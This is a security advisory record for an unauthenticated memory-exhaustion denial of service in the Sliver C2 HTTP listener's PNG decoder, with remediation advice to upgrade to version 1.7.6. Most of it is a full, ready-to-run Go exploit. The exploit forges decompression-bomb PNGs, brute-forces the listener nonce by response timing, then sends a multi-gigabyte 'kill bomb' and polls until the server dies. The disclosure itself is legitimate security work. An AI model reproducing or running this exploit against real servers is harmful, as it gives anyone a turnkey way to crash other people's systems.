---
id: CVE-2026-77622
aliases:
  - GHSA-663m-7x7m-g4fw
title: >-
  Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S)
  Listener PNG Decoder
summary: >-
  Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S)
  Listener PNG Decoder
severity: high
cwe:
  - CWE-770
vendor: BishopFox
product: github.com/BishopFox/sliver
ecosystem: go
affected:
  - github.com/BishopFox/sliver < 1.7.6
patched:
  - github.com/BishopFox/sliver 1.7.6
published: '2026-10-15'
updated: '2026-10-15'
sourceUpdated: '2026-10-15T20:09:34Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-663m-7x7m-g4fw'
references:
  - url: >-
      https://github.com/BishopFox/sliver/security/advisories/GHSA-663m-7x7m-g4fw
  - url: >-
      https://github.com/BishopFox/sliver/commit/80273462bd8b2a3cd724d2d6d0301a0cabfa977d
  - url: 'https://github.com/BishopFox/sliver/releases/tag/v1.7.6'
  - url: 'https://github.com/advisories/GHSA-663m-7x7m-g4fw'
tags:
  - ghsa
  - go
  - exploit-available
exploits:
  github: 1
  githubRepos:
    - 'https://github.com/Squ1shification/PNGboomer-CVE-2026-77622'
  checkedAt: '2026-10-15T20:30:15.624Z'
exploitAvailable: true
ingestedAt: '2026-10-15T20:29:40.564Z'
---

## Overview

### Summary
Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability. 
### Details

The first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go`
```go
const (
    EncoderModulus = uint64(65537)
)
```

The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in:
`util/encoders/images.go`

```go
func (p PNGEncoder) Encode(data []byte) ([]byte, error) {
    img := imageFromBytes(data)
    var buf bytes.Buffer
    encoder.Encode(&buf, img)
    return buf.Bytes(), nil
}

func (p PNGEncoder) Decode(data []byte) ([]byte, error) {
    buf := bytes.NewBuffer(data)
    img, err := png.Decode(buf)
    if err != nil { return nil, err }
    return bytesFromImage(img), nil
}
```

### PoC
The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.

Get the latest version of Sliver (Currently 1.7.3)
```bash
git clone https://github.com/BishopFox/sliver.git
```

Build the Docker container:
```bash
cd sliver
docker build -t sliver-test:local -f Dockerfile .
```

Run the Docker container with a memory cap for example 4GB:
```bash
docker run --rm \
--name sliver-test \
--memory=4g \
-p 8080:8080 \
-it \
sliver-test:local 
```

After the Docker container starts, create an http listener on port 8080:

```bash
http -L 0.0.0.0 -l 8080
```

In a seperate terminal create the following Go project:
`go.mod`
```Go
module pngboomer
go 1.25
```

`poc.go`
```Go
// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.
//
// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run
// it against a Docker container with --memory=<N>g and pass -target-cap-mb N
// so the tool can refuse dangerous worker/probe combos.
//
// Build:  go build -o pngboomer
// Demo:   ./pngboomer -url http://target:8080/ -target-cap-mb 10240
package main

import (
        "bytes"
        "compress/zlib"
        "context"
        "encoding/binary"
        "flag"
        "fmt"
        "hash/crc32"
        "io"
        "math/rand"
        "net"
        "net/http"
        "net/url"
        "os"
        "sort"
        "sync"
        "sync/atomic"
        "time"
)

// ANSI color — single helper, disabled by -no-color / -silent.
var nocolor bool

func col(code, s string) string {
        if nocolor {
                return s
        }
        return "\x1b[" + code + "m" + s + "\x1b[0m"
}
func B(s string) string          { return col("1", s) }
func D(s string) string          { return col("2", s) }
func R(s string) string          { return col("1;31", s) }
func G(s string) string          { return col("1;32", s) }
func Y(s string) string          { return col("1;33", s) }
func C(s string) string          { return col("1;36", s) }
func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }

// PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for
// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).
func chunk(typ string, data []byte) []byte {
        out := make([]byte, 4, 12+len(data))
        binary.BigEndian.PutUint32(out, uint32(len(data)))
        out = append(out, typ...)
        out = append(out, data...)
        crc := crc32.NewIEEE()
        crc.Write([]byte(typ))
        crc.Write(data)
        tail := make([]byte, 4)
        binary.BigEndian.PutUint32(tail, crc.Sum32())
        return append(out, tail...)
}
func makePNG(W, H, ct int) []byte {
        bpp := 3
        if ct == 6 {
                bpp = 4
        }
        var zb bytes.Buffer
        zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression)
        row := make([]byte, 1+bpp*W)
        for i := 0; i < H; i++ {
                zw.Write(row)
        }
        zw.Close()
        ihdr := make([]byte, 13)
        binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))
        binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))
        ihdr[8], ihdr[9] = 8, byte(ct)
        out := []byte("\x89PNG\r\n\x1a\n")
        out = append(out, chunk("IHDR", ihdr)...)
        out = append(out, chunk("IDAT", zb.Bytes())...)
        return append(out, chunk("IEND", nil)...)
}

// HTTP helpers
func hostPort(u string) string {
        p, _ := url.Parse(u)
        if p.Port() != "" {
                return p.Hostname() + ":" + p.Port()
        }
        if p.Scheme == "https" {
                return p.Hostname() + ":443"
        }
        return p.Hostname() + ":80"
}
func alive(hp string, t time.Duration) bool {
        c, err := net.DialTimeout("tcp", hp, t)
        if err != nil {
                return false
        }
        c.Close()
        return true
}
func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {
        req, _ := http.NewRequestWithContext(ctx, "POST",
                fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body))
        req.Header.Set("Content-Type", "application/octet-stream")
        t := time.Now()
        resp, err := cli.Do(req)
        dt := time.Since(t)
        if err == nil {
                io.Copy(io.Discard, resp.Body)
                resp.Body.Close()
        }
        return dt
}

type hit struct {
        n  uint64
        dt time.Duration
}

func main() {
        target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL")
        workers := flag.Int("workers", 8, "scan concurrency")
        probeW := flag.Int("probe-w", 2000, "probe PNG width")
        probeH := flag.Int("probe-h", 2000, "probe PNG height")
        probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA")
        killW := flag.Int("kill-w", 32767, "kill PNG width")
        killH := flag.Int("kill-h", 32767, "kill PNG height")
        killCT := flag.Int("kill-color", 6, "kill color: 2=RGB, 6=RGBA")
        thMs := flag.Int("threshold-ms", 50, "threshold floor (effective = max(this, baseline_p99 × outlier-mult))")
        outlier := flag.Float64("outlier-mult", 15.0, "baseline_p99 × this = adaptive threshold")
        calibN := flag.Int("calibrate", 16, "non-PNG calibration samples")
        verifyN := flag.Int("verify", 3, "re-probe count per candidate")
        maxN := flag.Int("max-nonce", 65537, "top nonce (Sliver modulus = 65537)")
        pTO := flag.Duration("probe-timeout", 5*time.Second, "per-probe HTTP timeout")
        kTO := flag.Duration("kill-timeout", 180*time.Second, "kill request HTTP timeout")
        capMB := flag.Int("target-cap-mb", 10240, "declared target memory cap, 0 = disable check")
        known := flag.Int("nonce", 0, "skip scan, use this nonce directly")
        scanOnly := flag.Bool("scan-only", false, "stop after finding nonce, don't kill")
        noConf := flag.Bool("no-confirm", false, "don't TCP-poll for death after kill")
        noClr := flag.Bool("no-color", false, "disable ANSI color")
        silent := flag.Bool("silent", false, "only print nonce on stdout")
        flag.Parse()

        nocolor = *noClr || *silent
        pBpp, kBpp := 3, 3
        if *probeCT == 6 {
                pBpp = 4
        }
        if *killCT == 6 {
                kBpp = 4
        }
        probeMB := pBpp * *probeW * *probeH / 1024 / 1024
        killMB := kBpp * *killW * *killH / 1024 / 1024
        peakMB := *workers * probeMB
        if *capMB > 0 && peakMB > *capMB/2 {
                fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\n",
                        R("[X] safety:"), peakMB, *capMB)
                os.Exit(2)
        }

        probe := makePNG(*probeW, *probeH, *probeCT)
        kill := makePNG(*killW, *killH, *killCT)
        hp := hostPort(*target)
        if !alive(hp, 2*time.Second) {
                fmt.Fprintf(os.Stderr, "%s target unreachable: %s\n", R("[X]"), hp)
                os.Exit(2)
        }
        if !*silent {
                fmt.Fprintln(os.Stderr, B("pngboomer — Sliver C2 PNG-bomb DoS"))
                fmt.Fprintf(os.Stderr, "  probe %dB wire  %dx%d c=%d  → %d MiB decode\n",
                        len(probe), *probeW, *probeH, *probeCT, probeMB)
                fmt.Fprintf(os.Stderr, "  kill  %dB wire  %dx%d c=%d  → %d MiB decode\n",
                        len(kill), *killW, *killH, *killCT, killMB)
                fmt.Fprintf(os.Stderr, "  scan peak ≈ %d MiB  target cap=%d MiB  reachable=%s\n",
                        peakMB, *capMB, B(hp))
        }

        cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}}
        pngN := uint64(*known)

        if pngN == 0 {
                // ─── Phase 1: calibrate non-PNG baseline ───
                dts := make([]time.Duration, *calibN)
                sem := make(chan struct{}, 8)
                var wg sync.WaitGroup
                for i := 0; i < *calibN; i++ {
                        i := i
                        sem <- struct{}{}
                        wg.Add(1)
                        go func() {
                                defer wg.Done()
                                defer func() { <-sem }()
                                dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))
                        }()
                }
                wg.Wait()
                sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] })
                p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]
                eff := int64(*thMs)
                if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff {
                        eff = a
                }
                *thMs = int(eff)
                thresh := time.Duration(*thMs) * time.Millisecond
                if !*silent {
                        fmt.Fprintf(os.Stderr, "  baseline p50=%.0fms p99=%.0fms  → threshold=%s (max of floor, p99×%.0f)\n",
                                ms(p50), ms(p99), B(fmt.Sprintf("%dms", *thMs)), *outlier)
                }

                // ─── Phase 2: scan with verify + blacklist-on-blip ───
                blacklist := map[uint64]bool{}
                var maxDt int64
                var maxNonce uint64
                var totalDone uint64
                scanStart := time.Now()
                const maxBlips = 8

                // Shuffled nonce order, shared across re-scans. Workers pull via atomic
                // counter — no channels, no producer goroutine.
                order := make([]uint64, *maxN-1)
                for i := range order {
                        order[i] = uint64(i + 1)
                }
                rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })

                for blip := 0; blip < maxBlips && pngN == 0; blip++ {
                        scanCtx, scanCancel := context.WithCancel(context.Background())
                        hits := make(chan hit, 1)
                        var idx int64
                        var scanned uint64
                        var swg sync.WaitGroup
                        for i := 0; i < *workers; i++ {
                                swg.Add(1)
                                go func() {
                                        defer swg.Done()
                                        for scanCtx.Err() == nil {
                                                i := atomic.AddInt64(&idx, 1) - 1
                                                if i >= int64(len(order)) {
                                                        return
                                                }
                                                n := order[i]
                                                if blacklist[n] {
                                                        continue
                                                }
                                                dt := post(scanCtx, cli, *target, probe, n)
                                                atomic.AddUint64(&scanned, 1)
                                                for { // track slowest probe (lock-free CAS)
                                                        cur := atomic.LoadInt64(&maxDt)
                                                        if dt.Nanoseconds() <= cur {
                                                                break
                                                        }
                                                        if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) {
                                                                atomic.StoreUint64(&maxNonce, n)
                                                                break
                                                        }
                                                }
                                                if dt >= thresh {
                                                        select {
                                                        case hits <- hit{n, dt}:
                                                        default:
                                                        }
                                                        scanCancel()
                                                        return
                                                }
                                        }
                                }()
                        }

                        if !*silent {
                                go func() {
                                        t := time.NewTicker(750 * time.Millisecond)
                                        defer t.Stop()
                                        for {
                                                select {
                                                case <-scanCtx.Done():
                                                        return
                                                case <-t.C:
                                                        tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned)
                                                        el := time.Since(scanStart).Seconds()
                                                        fmt.Fprintf(os.Stderr, D("  scanned %d (%.0f/s, %.1fs, blips=%d)\n"),
                                                                tot, float64(tot)/el, el, blip)
                                                }
                                        }
                                }()
                        }

                        go func() { swg.Wait(); close(hits) }()
                        cand, ok := <-hits
                        scanCancel()
                        atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned))
                        if !ok {
                                break // exhausted, no candidate
                        }

                        // VERIFY: re-probe N×, count threshold hits, render tries inline
                        conf := 0
                        var tries bytes.Buffer
                        for i := 0; i < *verifyN; i++ {
                                dt := post(context.Background(), cli, *target, probe, cand.n)
                                if dt >= thresh {
                                        conf++
                                        tries.WriteString(G("✓"))
                                } else {
                                        tries.WriteString(R("✗"))
                                }
                                fmt.Fprintf(&tries, "%.0fms ", ms(dt))
                        }
                        if !*silent {
                                fmt.Fprintf(os.Stderr, "  candidate %s (%.0fms)  verify: %s\n",
                                        B(fmt.Sprintf("%d", cand.n)), ms(cand.dt), tries.String())
                        }
                        if conf >= (*verifyN+1)/2 {
                                pngN = cand.n
                                if !*silent {
                                        fmt.Fprintf(os.Stderr, "%s nonce=%s in %.2fs (%d probes, %d blips)\n",
                                                G("[+] FOUND"), B(fmt.Sprintf("%d", pngN)),
                                                time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist))
                                }
                                break
                        }
                        blacklist[cand.n] = true
                        if !*silent {
                                fmt.Fprintf(os.Stderr, "%s nonce %d rejected (%d/%d) — blacklisted\n",
                                        Y("[!] blip"), cand.n, conf, *verifyN)
                        }
                }

                if pngN == 0 {
                        mDt := time.Duration(atomic.LoadInt64(&maxDt))
                        mN := atomic.LoadUint64(&maxNonce)
                        fmt.Fprintf(os.Stderr, "%s no candidate ≥ %dms after %d probes\n",
                                R("[X] scan failed:"), *thMs, atomic.LoadUint64(&totalDone))
                        fmt.Fprintf(os.Stderr, "  slowest probe: nonce=%d at %.0fms\n", mN, ms(mDt))
                        suggest := mDt.Milliseconds() * 6 / 10
                        if suggest < 30 {
                                suggest = 30
                        }
                        fmt.Fprintf(os.Stderr, "  fix: %s  or grow -probe-w/-probe-h\n",
                                C(fmt.Sprintf("-threshold-ms %d", suggest)))
                        os.Exit(2)
                }
        }

        if *scanOnly {
                fmt.Println(pngN)
                return
        }

        // ─── Phase 3: fire kill bomb ───
        if !*silent {
                fmt.Fprintf(os.Stderr, "%s firing kill (%d MiB decode) at %s?n=%d\n",
                        B("[*]"), killMB, *target, pngN)
        }
        kCli := &http.Client{Timeout: *kTO}
        killStart := time.Now()
        done := make(chan struct{})
        go func() {
                dt := post(context.Background(), kCli, *target, kill, pngN)
                if !*silent {
                        fmt.Fprintf(os.Stderr, "  kill returned in %.2fs\n", dt.Seconds())
                }
                close(done)
        }()

        if *noConf {
                <-done
                fmt.Println(pngN)
                return
        }

        deadline := time.Now().Add(*kTO)
        for time.Now().Before(deadline) {
                time.Sleep(250 * time.Millisecond)
                if !alive(hp, time.Second) {
                        if !*silent {
                                fmt.Fprintf(os.Stderr, "%s killed in %.2fs (TCP refused at %s)\n",
                                        G("[+] ★ TARGET DEAD ★"), time.Since(killStart).Seconds(), hp)
                        }
                        fmt.Println(pngN)
                        return
                }
        }
        fmt.Fprintf(os.Stderr, "%s target alive after %s — try larger -kill-w/-kill-h\n", Y("[!]"), *kTO)
        os.Exit(1)
}
```

### Impact
This vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.

### Collaboration
This vulnerability was found with the help of Wencheng Xue (panwnvda).

## Affected packages

- `github.com/BishopFox/sliver < 1.7.6`

## Remediation

Upgrade to a patched release:

- `github.com/BishopFox/sliver 1.7.6`
